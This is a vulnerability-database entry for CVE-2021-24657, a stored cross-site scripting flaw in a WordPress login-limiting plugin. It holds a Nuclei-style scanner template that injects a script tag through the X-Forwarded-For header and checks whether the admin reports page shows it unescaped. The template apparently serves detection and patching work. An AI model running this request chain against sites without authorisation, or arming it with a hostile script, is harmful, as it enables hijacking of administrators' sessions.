CVE-2021-24657: Limit Login Attempts WordPress - Stored Cross-site Scripting

2026-01-08 WordPress PoC Public

Description

Limit Login Attempts WordPress plugin < 4.0.50 contains a stored cross-site scripting caused by not escaping IP addresses controlled via headers like X-Forwarded-For before outputting them in reports, letting unauthenticated attackers execute scripts in admin context.

PoC

id: CVE-2021-24657

info:
  name: Limit Login Attempts WordPress - Stored Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Limit Login Attempts WordPress plugin < 4.0.50 contains a stored cross-site scripting caused by not escaping IP addresses controlled via headers like X-Forwarded-For before outputting them in reports, letting unauthenticated attackers execute scripts in admin context.
  impact: |
    Unauthenticated attackers can execute arbitrary scripts in admin browsers, potentially leading to session hijacking or defacement.
  remediation: |
    Update to version 4.0.50 or later.
  reference:
    - https://wordpress.org/plugins/miniorange-limit-login-attempts
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24657
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24657
    epss-score: 0.01582
    epss-percentile: 0.74284
    cwe-id: CWE-79
  metadata:
    verified: true
    max-requests: 3
    public-www: "/wp-content/plugins/miniorange-limit-login-attempts/"
  tags: cve,cve2021,wordpress,wp,wp-plugin,miniorange-limit-login-attempts,xss,authenticated,vuln

flow: http(1) && http(2) && http(3)

variables:
  rand: '{{rand_text_alpha(6, "abc")}}'

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        X-Forwarded-For:{{rand}}<script>alert(document.domain)</script>

        log={{rand}}&pwd={{rand}}&wp-submit=Log+In&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "login attempts remaining.")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=reports HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "login_reports", "{{rand}}", "<script>alert(document.domain)</script>")'
        condition: and
# digest: 4b0a004830460221009c3c9d993cf633444dfc75c01673f8711fc71522d0ee49f7f9146b41ef157ab4022100f769b0e42d62b41e7c4454b4a2971bc2c8da2d54f7abf0761cee1267d4a47fdf:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities